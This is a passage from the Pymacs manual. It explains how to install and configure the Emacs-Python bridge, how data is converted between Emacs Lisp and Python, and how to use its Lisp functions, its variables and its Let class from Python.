more complex that I would want, and has \(or at least had\) flaws on the
Unicode side, so I rewrote my own, as a simple single file. I merely
translated it from French to English, to make it more distributable within
Pymacs.

It has not been fruitful, trying to use Emacs stdin and stdout for
communicating expressions to evaluate and getting back results from within the
validation suite. After some fight, I reluctantly put this avenue aside.
Currently, the suite writes problems in files, for Emacs to read, and Emacs
writes replies in files, for the suite to check. Busy waiting \(with small
sleep added in the loops\) is used on both sides. This is all too heavy, and
it slows down the suite. Hopefully, the suite is not run often, this is not a
real problem.

## 2.4 Install the Pymacs proper

Pymacs is a small package. Putting the documentation and administrative files
aside, there is one Python file and one Emacs Lisp file to it, to be installed
in turn. Always start with the Python file.

  * For the Python part 
At the top-level of the Pymacs distribution, then execute `python setup.py
install`. First, the script copies a few source files while presetting the
version strings in them. Second, it installs the Python package through the
Python standard Distutils tool. To get an option reminder, do `python setup.py
install --help`. Consult the Distutils documentation if you need more
information about this.

That's all to it. To check that `pymacs.py` is properly installed, start an
interactive Python session and type `from Pymacs import lisp`: you should not
receive any error.

  * For the Emacs part 
This is usually done by hand now. First select some directory along the list
kept in your Emacs **load-path** , for which you have write access, and copy
file `pymacs.el` in that directory.

If you want speed, you should ideally byte-compile this file. To do so, go to
that directory, launch Emacs, then give the command `M-x byte-compile-file RET
pymacs.el RET`. If for some reason you intend to such commands often, you
could create a little script to do so. Here is an example of such a script,
assuming here that you use Emacs and want to install in directory
`~/share/emacs/lisp/`:

[code]    #!/bin/bash

    cp pymacs.el ~/share/emacs/lisp/
    emacs -batch -eval '(byte-compile-file "~/share/emacs/lisp/pymacs.el")'
    
    
[/code]

You should be done now. To check that `pymacs.el` is properly installed,
return to your usual directories, start Emacs and give it the command `M-x
load-library RET pymacs RET`: you should not receive any error.

Some features from previous Pymacs releases have been dropped:

  * There used to be a script for installing the Emacs Lisp file. As it was difficult to get it right in all circumstances; the script grew an interactive mode and lot of options. This is just not worth the complexity, so this script is now gone.
  * Examples were all installed automatically, but at least for some of them, this was more pollution than help. You may browse the contents of the `contrib/` directory to learn about available examples.

## 2.5 Prepare your `.emacs` file

The `.emacs` file is not given in the distribution, you likely have one
already in your home directory. You need to add these lines:

[code]

    (autoload 'pymacs-apply "pymacs")
    (autoload 'pymacs-call "pymacs")
    (autoload 'pymacs-eval "pymacs" nil t)
    (autoload 'pymacs-exec "pymacs" nil t)
    (autoload 'pymacs-load "pymacs" nil t)
    ;;(eval-after-load "pymacs"
    ;;  '(add-to-list 'pymacs-load-path YOUR-PYMACS-DIRECTORY"))
    
    
[/code]

If you plan to use a special directory to hold your own Pymacs code in Python,
which should be searched prior to the usual Python import search path, then
uncomment the last two lines \(by removing the semi-colons\) and replace
_YOUR-PYMACS-DIRECTORY_ by the name of your special directory. If the file
`~/.emacs` does not exist, merely create it with the above lines. You are now
all set to use Pymacs.

To check this, start a fresh Emacs session, and type `M-x pymacs-eval RET`.
Emacs should prompt you for a Python expression. Try `repr(2L**111) RET`. The
mini buffer should display "2596148429267413814265248164610048L". `M-x pymacs-
load RET` should prompt you for a Python module name. Reply `os RET RET` \(the
second `RET` is for accepting the default prefix. This should have the effect
of importing the Python **os** module within Emacs. Typing `M-: (os-getcwd)
RET` should echo the current directory in the message buffer, as returned by
the **os.getcwd** Python function.

## 2.6 Porting and caveats

Pymacs has been initially developed on Linux, Python 1.5.2, and Emacs 20, and
currently on Python 2.5, Emacs 22.1 and XEmacs 21.5. It is expected to work
out of the box on many flavours of Unix, MS Windows and Mac OSX, and also on
many version of Python, Emacs and XEmacs.

From Pymacs 0.23 and upwards, Python 2.2 or better is likely needed, and for
the Pymacs proper, I rely on testers or users for portability issues. However,
the validation suite itself requires Python 2.4 or better, someone might
choose to contribute the back porting.

Pymacs uses Emacs weak hash tables. It can run without them, but then, complex
Python objects transmitted to Emacs will tie Python memory forever. It should
not be a practical problem in most simple cases. Some later versions of Emacs
20 silently create ordinary tables when asked for weak hash tables. Older
Emacses do not have hash tables.

The `Pymacs` Python package holds a single `pymacs.py` file \(and the
mandatory `__init__.py`\). Programmers might elect, but are not required, to
install their own Pymacs applications either as sub-modules or sub-packages on
`Pymacs`.

# 3 Emacs Lisp structures and Python objects

## 3.1 Conversions

Whenever Emacs Lisp calls Python functions giving them arguments, these
arguments are Emacs Lisp structures that should be converted into Python
objects in some way. Conversely, whenever Python calls Emacs Lisp functions,
the arguments are Python objects that should be received as Emacs Lisp
structures. We need some conventions for doing such conversions.

Conversions generally transmit mutable Emacs Lisp structures as mutable
objects on the Python side, in such a way that transforming the object in
Python will effectively transform the structure on the Emacs Lisp side
\(strings are handled a bit specially however, see below\). The other way
around, Python objects transmitted to Emacs Lisp often loose their mutability,
so transforming the Emacs Lisp structure is not reflected on the Python side.

Pymacs sticks to standard Emacs Lisp, it explicitly avoids various Emacs Lisp
extensions. One goal for many Pymacs users is taking some distance from Emacs
Lisp, so Pymacs is not overly pushing users deeper into it.

## 3.2 Simple objects

Emacs Lisp **nil** and the equivalent Emacs Lisp `()` yield Python **None**.
Python **None** , Python **False** and the Python empty list `[]` are returned
as **nil** in Emacs Lisp. Notice the assymetry, in that three different Python
objects are mapped into a single Emacs Lisp object. So, neither **False** nor
`[]` are likely produced by automatic conversions from Emacs Lisp to Python.

Emacs Lisp **t** yields Python **True**. Python **True** is returned as **t**
in Emacs Lisp.

Emacs Lisp numbers, either integer or floating, are converted in equivalent
Python numbers. Emacs Lisp characters are really numbers and yield Python
numbers. In the other direction, Python numbers are converted into Emacs Lisp
numbers, with the exception of long Python integers and complex numbers.

Emacs Lisp strings are usually converted into equivalent Python strings. As
Python strings do not have text properties, these are not reflected. This may
be changed by setting the **pymacs-mutable-strings** option: if this variable
is not **nil** , Emacs Lisp strings are then transmitted opaquely. Python
strings are always converted into Emacs Lisp strings. Unicode strings are
produced on the Python side for Emacs Lisp multi-byte strings, but only when
they do not fit in ASCII, otherwise Python narrow strings are produced.
Conversely, Emacs Lisp multi-byte strings are produced for Python Unicode
strings, but only when they do not fit ASCII, otherwise Emacs Lisp uni-byte
strings are produced. Currently, Pymacs behaviour is undefined for users
wandering outside the limits of Emacs' **utf-8** coding system.

Emacs Lisp symbols yield `lisp[STRING]` notations on the Python side, where
_STRING_ names the symbol. In the other direction, Python `lisp[STRING]`
corresponds to an Emacs Lisp symbol printed with that _STRING_ which, of
course, should then be a valid Emacs Lisp symbol name. As a convenience,
`lisp.SYMBOL` on the Python side yields an Emacs Lisp symbol with underscores
replaced with hyphens; this convention is welcome, as Emacs Lisp programmers
commonly prefer using dashes, where Python programmers use underlines. Of
course, this `lisp.SYMBOL` notation is only usable when the _SYMBOL_ is a
valid Python identifier, while not being a Python keyword.

## 3.3 Sequences

The case of strings has been discussed in the previous section.

Proper Emacs Lisp lists, those for which the **cdr** of last cell is **nil** ,
are normally transmitted opaquely to Python. If **pymacs-forget-mutability**
is set, or if Python later asks for these to be expanded, proper Emacs Lisp
lists get converted into Python lists, if we except the empty list, which is
always converted as Python **None**. In the other direction, Python lists are
always converted into proper Emacs Lisp lists.

Emacs Lisp vectors are normally transmitted opaquely to Python. However, if
**pymacs-forget-mutability** is set, or if Python later asks for these to be
expanded, Emacs Lisp vectors get converted into Python tuples. In the other
direction, Python tuples are always converted into Emacs Lisp vectors.

Remember the rule: Round parentheses correspond to square brackets\!. It works
for lists, vectors, tuples, seen from either Emacs Lisp or Python.

The above choices were debatable. Since Emacs Lisp proper lists and Python
lists are the bread-and-butter of algorithms modifying structures, at least in
my experience, I guess they are more naturally mapped into one another, this
spares many casts in practice. While in Python, the most usual idiom for
growing lists is appending to their end, the most usual idiom in Emacs Lisp to
grow a list is by cons'ing new items at its beginning:

[code]

    (setq accumulator (cons 'new-item accumulator))
    
    
[/code]

or more simply:

[code]

    (push 'new-item accumulator)
    
    
[/code]

So, in case speed is especially important and many modifications happen in a
row on the same side, while order of elements ought to be preserved, some
`(nreverse ...)` on the Emacs Lisp side or `.reverse()` on the Python side
side might be needed. Surely, proper lists in Emacs Lisp and lists in Python
are the normal structure for which length is easily modified.

We cannot so easily change the size of a vector, the same as it is a bit more
of a stunt to _modify_ a tuple. The shape of these objects is fixed. Mapping
vectors to tuples, which is admittedly strange, will only be done if the
Python side requests an expanded copy, otherwise an opaque Emacs Lisp object
is seen in Python. In the other direction, whenever an Emacs Lisp vector is
needed, one has to write `tuple(python_list)` while transmitting the object.
Such transmissions are most probably to be unusual, as people are not going to
blindly transmit whole big structures back and forth between Emacs and Python,
they would rather do it once in a while only, and do only local modifications
afterwards. The infrequent casting to **tuple** for getting an Emacs Lisp
vector seems to suggest that we did a reasonable compromise.

In Python, both tuples and lists have O\(1\) access, so there is no real speed
consideration there. Emacs Lisp is different: vectors have O\(1\) access while
lists have O\(N\) access. The rigidity of Emacs Lisp vectors is such that
people do not resort to vectors unless there is a speed issue, so in real
Emacs Lisp practice, vectors are used rather parsimoniously. So much, in fact,
that Emacs Lisp vectors are overloaded for what they are not meant: for
example, very small vectors are used to represent X events in key-maps,
programmers only want to test vectors for their type, or users just like
bracketed syntax. The speed of access is hardly an issue then.

## 3.4 Opaque objects

### 3.4.1 Emacs Lisp handles

When a Python function is called from Emacs Lisp, the function arguments have
already been converted to Python types from Emacs Lisp types and the function
result is going to be converted back to Emacs Lisp.

Several Emacs Lisp objects do not have Python equivalents, like for Emacs
windows, buffers, markers, overlays, etc. It is nevertheless useful to pass
them to Python functions, hoping that these Python functions will _operate_ on
these Emacs Lisp objects. Of course, the Python side may not itself modify
such objects, it has to call for Emacs services to do so. Emacs Lisp handles
are a mean to ease this communication.

Whenever an Emacs Lisp object may not be converted to a Python object, an
Emacs Lisp handle is created and used instead. Whenever that Emacs Lisp handle
is returned into Emacs Lisp from a Python function, or is used as an argument
to an Emacs Lisp function from Python, the original Emacs Lisp object behind
the Emacs Lisp handle is automatically retrieved.

Emacs Lisp handles are either instances of the internal **Lisp** class, or of
one of its subclasses. If _OBJECT_ is an Emacs Lisp handle, and if the
underlying Emacs Lisp object is an Emacs Lisp sequence, then whenever
`OBJECT[INDEX]`, `OBJECT[INDEX] = VALUE` and `len(OBJECT)` are meaningful,
these may be used to fetch or alter an element of the sequence directly in
Emacs Lisp space. Also, if _OBJECT_ corresponds to an Emacs Lisp function,
`OBJECT(ARGUMENTS)` may be used to apply the Emacs Lisp function over the
given arguments. Since arguments have been evaluated the Python way on the
Python side, it would be conceptual overkill evaluating them again the Emacs
Lisp way on the Emacs Lisp side, so Pymacs manage to quote arguments for
defeating Emacs Lisp evaluation. The same logic applies the other way around.

Emacs Lisp handles have a `value()` method, which merely returns self. They
also have a `copy()` method, which tries to _open the box_ if possible. Emacs
Lisp proper lists are turned into Python lists, Emacs Lisp vectors are turned
into Python tuples. Then, modifying the structure of the copy on the Python
side has no effect on the Emacs Lisp side.

For Emacs Lisp handles, `str()` returns an Emacs Lisp representation of the
handle which should be **eq** to the original object if read back and
evaluated in Emacs Lisp. `repr()` returns a Python representation of the
expanded Emacs Lisp object. If that Emacs Lisp object has an Emacs Lisp
representation which Emacs Lisp could read back, then `repr()` value is such
that it could be read back and evaluated in Python as well, this would result
in another object which is **equal** to the original, but not necessarily
**eq**.

### 3.4.2 Python handles

The same as Emacs Lisp handles are useful for handling Emacs Lisp objects on
the Python side, Python handles are useful for handling Python objects on the
Emacs Lisp side.

Many Python objects do not have direct Emacs Lisp equivalents, including long
integers, complex numbers, modules, classes, instances and surely a lot of
others. When such are being transmitted to the Emacs Lisp side, Pymacs use
Python handles. These are automatically recovered into the original Python
objects whenever transmitted back to Python, either as arguments to a Python
function, as the Python function itself, or as the return value of an Emacs
Lisp function called from Python.

The objects represented by these Python handles may be inspected or modified
using the basic library of Python functions. For example, in:

[code]

    (pymacs-exec "import re")
    (setq matcher (pymacs-eval "re.compile('PATTERN').match"))
    (pymacs-call matcher ARGUMENT)
    
    
[/code]

the **setq** line above could be decomposed into:

[code]

    (setq compiled (pymacs-eval "re.compile('PATTERN')")
          matcher (pymacs-call "getattr" compiled "match"))
    
    
[/code]

This example shows that one may use **pymacs-call** with **getattr** as the
function, to get a wanted attribute for a Python object.

# 4 Usage on the Emacs Lisp side

## 4.1 **pymacs-exec**

Function `(pymacs-exec TEXT)` gets _TEXT_ executed as a Python statement, and
its value is always **nil**. So, this function may only be useful because of
its possible side effects on the Python side.

This function may also be called interactively:

[code]

    M-x pymacs-exec RET TEXT RET
    
    
[/code]

## 4.2 **pymacs-eval**

Function `(pymacs-eval TEXT)` gets _TEXT_ evaluated as a Python expression,
and returns the value of that expression converted back to Emacs Lisp.

This function may also be called interactively:

[code]

    M-x pymacs-eval RET TEXT RET
    
    
[/code]

## 4.3 **pymacs-call**

Function `(pymacs-call FUNCTION ARGUMENT...)` will get Python to apply the
given _FUNCTION_ over zero or more _ARGUMENT_. _FUNCTION_ is either a string
holding Python source code for a function \(like a mere name, or even an
expression\), or else, a Python handle previously received from Python, and
hopefully holding a callable Python object. Each _ARGUMENT_ gets separately
converted to Python before the function is called. **pymacs-call** returns the
resulting value of the function call, converted back to Emacs Lisp.

## 4.4 **pymacs-apply**

Function `(pymacs-apply FUNCTION ARGUMENTS)` will get Python to apply the
given _FUNCTION_ over the given _ARGUMENTS_. _ARGUMENTS_ is a list containing
all arguments, or **nil** if there is none. Besides arguments being bundled
together instead of given separately, the function acts pretty much like
**pymacs-call**.

## 4.5 **pymacs-load**

Function `(pymacs-load MODULE PREFIX)` imports the Python _module_ into Emacs
Lisp space. _MODULE_ is the name of the file containing the module, without
any `.py` or `.pyc` extension. If the directory part is omitted in _MODULE_ ,
the module will be looked into the current Python search path. Dot notation
may be used when the module is part of a package. Each top-level function in
the module produces a trampoline function in Emacs Lisp having the same name,
except that underlines in Python names are turned into dashes in Emacs Lisp,
and that _PREFIX_ is uniformly added before the Emacs Lisp name \(as a way to
avoid name clashes\). _PREFIX_ may be omitted, in which case it defaults to
base name of _MODULE_ with underlines turned into dashes, and followed by a
dash.

Note that **pymacs-load** has the effect of declaring the module variables and
methods the Emacs Lisp side, but it does _not_ declare anything on the Python
side. Of course, Python imports the module before making it available for
Emacs, but there is no Pymacs ready variable on the Python side holding that
module. If you need to import _MODULE_ in a variable on the Python side, the
proper incantation is `(pymacs-exec "import MODULE")`. And of course, that
this latter statement does not declare anything on the Emacs Lisp side.

Whenever **pymacs\_load\_hook** is defined in the loaded Python module,
**pymacs-load** calls it without arguments, but before creating the Emacs view
for that module. So, the **pymacs\_load\_hook** function may create new
definitions or even add **interaction** attributes to functions.

The return value of a successful **pymacs-load** is the module object. An
optional third argument, _noerror_ , when given and not **nil** , will have
**pymacs-load** to return **nil** instead of raising an error, if the Python
module could not be found.

When later calling one of these trampoline functions, all provided arguments
are converted to Python and transmitted, and the function return value is
later converted back to Emacs Lisp. It is left to the Python side to check for
argument consistency. However, for an interactive function, the interaction
specification drives some checking on the Emacs Lisp side. Currently, there is
no provision for collecting keyword arguments in Emacs Lisp.

This function may also be called interactively:

[code]

    M-x pymacs-load RET MODULE RET PREFIX RET
    
    
[/code]

## 4.6 Expected usage

We do not expect that **pymacs-exec** , **pymacs-eval** , **pymacs-call** or
**pymacs-apply** will be much used, if ever, in most Pymacs applications. In
practice, the Emacs Lisp side of a Pymacs application might call **pymacs-
load** a few times for linking into the Python modules, with the indirect
effect of defining trampoline functions for these modules on the Emacs Lisp
side, which can later be called like usual Emacs Lisp functions.

These imported functions are usually those which are of interest for the user,
and the preferred way to call Python services with Pymacs.

## 4.7 Special Emacs Lisp variables

Users could alter the inner working of Pymacs through a few variables, these
are all documented here. Except for **pymacs-load-path** , which should be set
before calling any Pymacs function, the value of these variables can be
changed at any time.

### 4.7.1 pymacs-load-path

Users might want to use special directories for holding their Python modules,
when these modules are meant to be used from Emacs. Best is to preset
**pymacs-load-path** , **nil** by default, to a list of these directory names.
\(Tilde expansions and such occur automatically.\)

Here is how it works. The first time Pymacs is needed from Emacs, a Pymacs
helper is automatically started as an Emacs subprocess, and given as arguments
all strings in the **pymacs-load-path** list. These arguments are added at the
beginning of **sys.path** , or moved at the beginning if they were already on
**sys.path**. So in practice, nothing is removed from **sys.path**.

### 4.7.2 pymacs-trace-transit

The **\*Pymacs\*** buffer, within Emacs, holds a trace of transactions between
Emacs and Python. When **pymacs-trace-transit** is **nil** , the buffer only
holds the last bi-directional transaction \(a request and a reply\). In this
case, it gets erased before each and every transaction. If that variable is
**t** , all transactions are kept. This could be useful for debugging, but the
drawback is that this buffer could grow big over time, to the point of
diminishing Emacs performance. As a compromise, that variable may also be a
cons cell of integers `(KEEP . LIMIT)`, in which case the buffer is reduced to
approximately _KEEP_ bytes whenever its size exceeds _LIMIT_ bytes, by
deleting an integral number of lines from its beginning. The default setting
for **pymacs-trace-transit** is `(5000 . 30000)`.

### 4.7.3 pymacs-forget-mutability

The default behaviour of Pymacs is to transmit Emacs Lisp objects to Python in
such a way that they are fully modifiable from the Python side, would it mean
triggering Emacs Lisp functions to act on them. When **pymacs-forget-
mutability** is not **nil** , the behaviour is changed, and the flexibility is
lost. Pymacs then tries to expand proper lists and vectors as full copies when
transmitting them on the Python side. This variable, seen as a user setting,
is best left to **nil**. It may be temporarily overridden within some
functions, when deemed useful.

There is no corresponding variable from objects transmitted to Emacs from
Python. Pymacs automatically expands what gets transmitted. Mutability is
preserved only as a side-effect of not having a natural Emacs Lisp
representation for the Python object. This asymmetry is on purpose, yet
debatable. Maybe Pymacs could have a variable telling that mutability is
important for Python objects? That would give Pymacs users the capability of
restoring the symmetry somewhat, yet so far, in our experience, this has never
been needed.

### 4.7.4 pymacs-mutable-strings

Strictly speaking, Emacs Lisp strings are mutable. Yet, it does not come
naturally to a Python programmer to modify a string _in-place_ , as Python
strings are never mutable. When **pymacs-mutable-strings** is **nil** , which
is the default setting, Emacs Lisp strings are transmitted to Python as Python
strings, and so, loose their mutability. Moreover, text properties are not
reflected on the Python side. But if that variable is not **nil** , Emacs Lisp
strings are rather passed as Emacs Lisp handles. This variable is ignored
whenever **pymacs-forget-mutability** is set.

### 4.7.5 Timeout variables

Emacs needs to protect itself a bit, in case the Pymacs service program, which
handles the Python side of requests, would not start correctly, or maybe later
die unexpectedly. So, whenever Emacs reads data coming from that program, it
sets a time limit, and take some action whenever that time limit expires. All
times are expressed in seconds.

The **pymacs-timeout-at-start** variable defaults to 30 seconds, this time
should only be increased if a given machine is so heavily loaded that the
Pymacs service program has not enough of 30 seconds to start, in which case
Pymacs refuses to work, with an appropriate message in the mini buffer.

The two remaining timeout variables almost never need to be changed in
practice. When Emacs is expecting a reply from Python, it might repeatedly
check the status of the Pymacs service program when that reply is not received
fast enough, just to make sure that this program did not die. The **pymacs-
timeout-at-reply** variable, which defaults to 5, says how many seconds to
wait without checking, while expecting the first line of a reply. The
**pymacs-timeout-at-line** variable, which defaults to 2, says how many
seconds to wait without checking, while expecting a line of the reply after
the first.

### 4.7.6 pymacs-dreadful-zombies

When the Pymacs helper dies, all useful Python objects it might contain also
die with it. However, if the death occurs unexpectedly, instead of normally at
the end of the Emacs session, there might now exist dangling references in
Emacs Lisp space towards those vanished Python objects.

Pymacs could not do much without a Pymacs helper, and likely, a new one will
soon be created within the same Emacs session, and brand new Python objects
may be created within that new helper. Now, and this is a bit technical, all
references are transmitted in form of object slot numbers. As a consequence,
the new Pymacs helper should be careful at never allocating a new Python
object using a slot number of a useful vanished object, as this might possibly
create fatal confusion.

There is not enough information for the new Pymacs helper to recreate the
useful objects which disappeared. However, there is enough machinery to
recover all their slot numbers, and then, all these slots are initialized with
so-called _zombies_. If Emacs later calls a vanished Python object, this
merely awakes its zombie, which will then make some noise, then fall asleep
again. The noise has the form of a diagnostic within the `*Messages*` buffer,
sometimes visible in the mini-buffer as well when the mini-buffer is not
simultaneously used for some other purpose.

Zombies get more dreadful if **pymacs-dreadful-zombies** is set to a
non-**nil** value. In this case, calling a vanished Python object raises an
error that will eventually interrupt the current computation. Such a behaviour
might be useful for debugging purposes, or for making sure that no call to a
vanished Python object goes unnoticed.

In previous Pymacs releases, zombies were always dreadful, under the
assumption that calling a vanished object is a real error. However, it could
cause irritation in some circumstances, like when associated with frequently
triggered Emacs Lisp hook functions. That's why that, by default, zombies have
been finally turned into more innocuous beings\!

# 5 Usage on the Python side

## 5.1 Python setup

For Python modules meant to be used from Emacs and which receive nothing but
Emacs **nil** , numbers or strings, or return nothing but Python **None** ,
numbers or strings, then Pymacs requires little or no setup. Otherwise, use
`from Pymacs import lisp` at the start of your module. If you need more Pymacs
features, like the **Let** class, then write `from Pymacs import lisp, Let`.

The Pymacs helper runs Python code to serve the Emacs side, and it is blocked
waiting until Emacs sends a request. Until the Pymacs helper returns a reply,
Emacs is blocked in turn, yet fully listening to serve eventual Python sub-
requests, etc. So, either Emacs or the Pymacs helper is active at a given
instant, but never both at once.

Unless Emacs has sent a request to the Pymacs helper and is expecting a reply,
it is just not listening to receive Python requests. So, any other Python
thread may not asynchronously use Pymacs to get Emacs services. The design of
the Python application should be such that the communication is always be
channelled from the main Python thread.

When Pymacs starts, all process signals are inhibited on the Python side. Yet,
**SIGINT** gets re-enabled while running user functions. If the user elects to
reactivate some other signal in her Python code, she should do so as to not
damage or severe the communication protocol.

## 5.2 Emacs Lisp symbols

**lisp** is a special object which has useful built-in magic. Its attributes
do nothing but represent Emacs Lisp symbols, created on the fly as needed
\(symbols also have their built-in magic\).

As special cases, `lisp.nil` or `lisp["nil"]` are the same as **None** , and
`lisp.t` or `lisp["t"]` are the same as **True**. Otherwise, both
`lisp.SYMBOL` and `lisp[STRING]` yield objects of the internal **Symbol**
type. These are genuine Python objects, that could be referred to by simple
Python variables. One may write `quote = lisp.quote`, for example, and use
`quote` afterwards to mean that Emacs Lisp symbol. If a Python function
received an Emacs Lisp symbol as an argument, it can check with `==` if that
argument is `lisp.never` or `lisp.ask`, say. A Python function may well choose
to return some symbol, like `lisp.always`.

In Python, writing `lisp.SYMBOL = VALUE` or `lisp[STRING] = VALUE` does assign
_VALUE_ to the corresponding symbol in Emacs Lisp space. Beware that in such
cases, the `lisp.` prefix may not be spared. After `result = lisp.result`, one
cannot hope that a later `result = 3` will have any effect in the Emacs Lisp
space: this would merely change the Python variable `result`, which was a
reference to a **Symbol** instance, so it is now a reference to the number 3.

The **Symbol** class has `value()` and `copy()` methods. One can use either
`lisp.SYMBOL.value()` or `lisp.SYMBOL.copy()` to access the Emacs Lisp value
of a symbol, after conversion to some Python object, of course. However, if
`value()` would have given an Emacs Lisp handle, `lisp.SYMBOL.copy()` has the
effect of `lisp.SYMBOL.value().copy()`, that is, it returns the value of the
symbol as opened as possible.

A symbol may also be used as if it was a Python function, in which case it
really names an Emacs Lisp function that should be applied over the following
function arguments. The result of the Emacs Lisp function becomes the value of
the call, with all due conversions of course.

## 5.3 Dynamic bindings

As Emacs Lisp uses dynamic bindings, it is common that Emacs Lisp programs use
**let** for temporarily setting new values for some Emacs Lisp variables
having global scope. These variables recover their previous value
automatically when the **let** gets completed, even if an error occurs which
interrupts the normal flow of execution.

Pymacs has a **Let** class to represent such temporary settings. Suppose for
example that you want to recover the value of `lisp.mark()` when the transient
mark mode is active on the Emacs Lisp side. One could surely use
`lisp.mark(True)` to _force_ reading the mark in such cases, but for the sake
of illustration, let's ignore that, and temporarily deactivate transient mark
mode instead. This could be done this way:

[code]

    try:
        let = Let()
        let.push(transient_mark_mode=None)
        ... USER CODE ...
    finally:
        let.pop()
    
    
[/code]

`let.push()` accepts any number of keywords arguments. Each keyword name is
interpreted as an Emacs Lisp symbol written the Pymacs way, with underlines.
The value of that Emacs Lisp symbol is saved on the Python side, and the value
of the keyword becomes the new temporary value for this Emacs Lisp symbol. A
later `let.pop()` restores the previous value for all symbols which were saved
together at the time of the corresponding `let.push()`. There may be more than
one `let.push()` call for a single **Let** instance, they stack within that
instance. Each `let.pop()` will undo one and only one `let.push()` from the
stack, in the reverse order or the pushes.

A single call to `let.pops()` automatically does all pending `let.pop()` at
once, in the correct reverse order. When the **Let** instance disappears,
either because the programmer does `del let` or `let = None`, or just because
the Python **let** variable goes out of scope, `let.pops()` gets executed
under the scene, so the **try** /**finally** statement may be omitted in
practice. For this omission to work flawlessly, the programmer should be
careful at not keeping extra references to the **Let** instance.

The constructor call `let = Let()` also has an implied initial `.push()` over
all given arguments, given there is any, so the explicit `let.push()` may be
omitted as well. In practice, this sums up and the above code could be reduced
to a mere:

[code]

    let = Let(transient_mark_mode=None)
    ... USER CODE ...
    
    
[/code]

Be careful at assigning the result of the constructor to some Python variable.
Otherwise, the instance might disappear immediately after having been created,
restoring the Emacs Lisp variable much too soon.

Any variable to be bound with **Let** should have been bound in advance on the
Emacs Lisp side. This restriction usually does no kind of harm. Yet, it will
likely be lifted in some later version of Pymacs.

The **Let** class has other methods meant for some macros which are common in
Emacs Lisp programming, in the spirit of **let** bindings. These method names
look like `push_*` or `pop_*`, where Emacs Lisp macros are `save-*`. One has
to use the matching `pop_*` for undoing the effect of a given `push_*` rather
than a mere `.pop()`: the Python code is clearer, this also ensures that
things are undone in the proper order. The same **Let** instance may use many
`push_*` methods, their effects nest.

`push_excursion()` and `pop_excursion()` save and restore the current buffer,
point and mark. `push_match_data()` and `pop_match_data()` save and restore
the state of the last regular expression match. `push_restriction()` and
`pop_restriction()` save and restore the current narrowing limits.
`push_selected_window()` and `pop_selected_window()` save and restore the fact
that a window holds the cursor. `push_window_excursion()` and
`pop_window_excursion()` save and restore the current window configuration in
the Emacs display.

As a convenience, `let.push()` and all other `push_*` methods return the
**Let** instance. This helps chaining various `push_*` right after the
instance generation. For example, one may write:

[code]

    let = Let().push_excursion()
    if True:
        ... USER CODE ...
    del let
    
    
[/code]

The `if True:` \(use `if 1:` with older Python releases, some people might
prefer writing `if let:` anyway\), has the only goal of indenting _USER CODE_
, so the scope of the **let** variable is made very explicit. This is purely
stylistic, and not at all necessary. The last `del let` might be omitted in a
few circumstances, for example if the excursion lasts until the end of the
Python function.

## 5.4 Raw Emacs Lisp expressions

Pymacs offers a device for evaluating a raw Emacs Lisp expression, or a
sequence of such, expressed as a string. One merely uses **lisp** as a
function, like this:

[code]

    lisp("""
    ...
    POSSIBLY-LONG-SEQUENCE-OF-LISP-EXPRESSIONS
    ...
    """)
    
    
[/code]

The Emacs Lisp value of the last or only expression in the sequence becomes
the value of the **lisp** call, after conversion back to Python.

## 5.5 User interaction

Emacs functions have the concept of user interaction for completing the
specification of their arguments while being called. This happens only when a
function is interactively called by the user, it does not happen when a
function is directly called by another. As Python does not have a
corresponding facility, a bit of trickery was needed to retrofit that facility
on the Python side.

After loading a Python module but prior to creating an Emacs view for this
module, Pymacs decides whether loaded functions will be interactively callable
from Emacs, or not. Whenever a function has an **interaction** attribute, this
attribute holds the Emacs interaction specification for this function. The
specification is either another Python function or a string. In the former
case, that other function is called without arguments and should, maybe after
having consulted the user, return a list of the actual arguments to be used
for the original function. In the latter case, the specification string is
used verbatim as the argument to the `(interactive ...)` function on the Emacs
side. To get a short reminder about how this string is interpreted on the
Emacs side, try `C-h f interactive` within Emacs. Here is an example where an
empty string is used to specify that an interactive has no arguments:

[code]

    from Pymacs import lisp
    
    def hello_world():
        "`Hello world' from Python."
        lisp.insert("Hello from Python!")
    hello_world.interaction = ''
    
    
[/code]

Versions of Python released before the integration of PEP 232 do not allow
users to add attributes to functions, so there is a fall-back mechanism. Let's
presume that a given function does not have an **interaction** attribute as
explained above. If the Python module contains an **interactions** global
variable which is a dictionary, if that dictionary has an entry for the given
function with a value other than **None** , that function is going to be
interactive on the Emacs side. Here is how the preceding example should be
written for an older version of Python, or when portability is at premium:

[code]

    from Pymacs import lisp
    interactions = @{@}
    
    def hello_world():
        "`Hello world' from Python."
        lisp.insert("Hello from Python!")
    interactions[hello_world] = ''
    
    
[/code]

One might wonder why we do not merely use `lisp.interactive(...)` from within
Python. There is some magic in the Emacs Lisp interpreter itself, looking for
that call _before_ the function is actually entered, this explains why
`(interactive ...)` has to appear first in an Emacs Lisp **defun**. Pymacs
could try to scan the already compiled form of the Python code, seeking for
`lisp.interactive`, but as the evaluation of **lisp.interactive** arguments
could get arbitrarily complex, it would a real challenge un-compiling that
evaluation into Emacs Lisp.

## 5.6 Key bindings

An interactive function may be bound to a key sequence.

To translate bindings like `C-x w`, say, one might have to know a bit more how
Emacs Lisp processes string escapes like `\C-x` or `\M-\C-x` in Emacs Lisp,
and emulate it within Python strings, since Python does not have such escapes.
`\C-L`, where L is an upper case letter, produces a character which ordinal is
the result of subtracting 0x40 from ordinal of `L`. `\M-` has the ordinal one
gets by adding 0x80 to the ordinal of following described character. So people
can use self-inserting non-ASCII characters, `\M-` is given another
representation, which is to replace the addition of 0x80 by prefixing with
\`ESC', that is 0x1b.

So `\C-x` in Emacs is 'x18' in Python. This is easily found, using an
interactive Python session, by giving it: chr\(ord\('X'\) - ord\('A'\) + 1\).
An easier way would be using the **kbd** function on the Emacs Lisp side, like
with lisp.kbd\('C-x w'\) or lisp.kbd\('M-<f2>'\).

To bind the F1 key to the **helper** function in some **module** :

[code]

    lisp.global_set_key((lisp.f1,), lisp.module_helper)
    
    
[/code]

`(item,)` is a Python tuple yielding an Emacs Lisp vector. `lisp.f1`
translates to the Emacs Lisp symbol **f1**. So, Python `(lisp.f1,)` is Emacs
Lisp `[f1]`. Keys like `[M-f2]` might require some more ingenuity, one may
write either `(lisp['M-f2'],)` or `(lisp.M_f2,)` on the Python side.

# 6 Debugging

## 6.1 On the communication protocol

Initially, the Pymacs communication protocol was rather simple deep down,
merely using evaluation on arrival on both sides. All the rest was recursion
trickery over that simple idea. But the magic was fragile to interruption
requests, so the protocol has been revisited a bit so each message action
could be recognized before evaluation is attempted. The idea \(not fully
implemented yet\) is to make the protocol part immune to interruptions, but to
allow evaluations themselves to be interrupted.

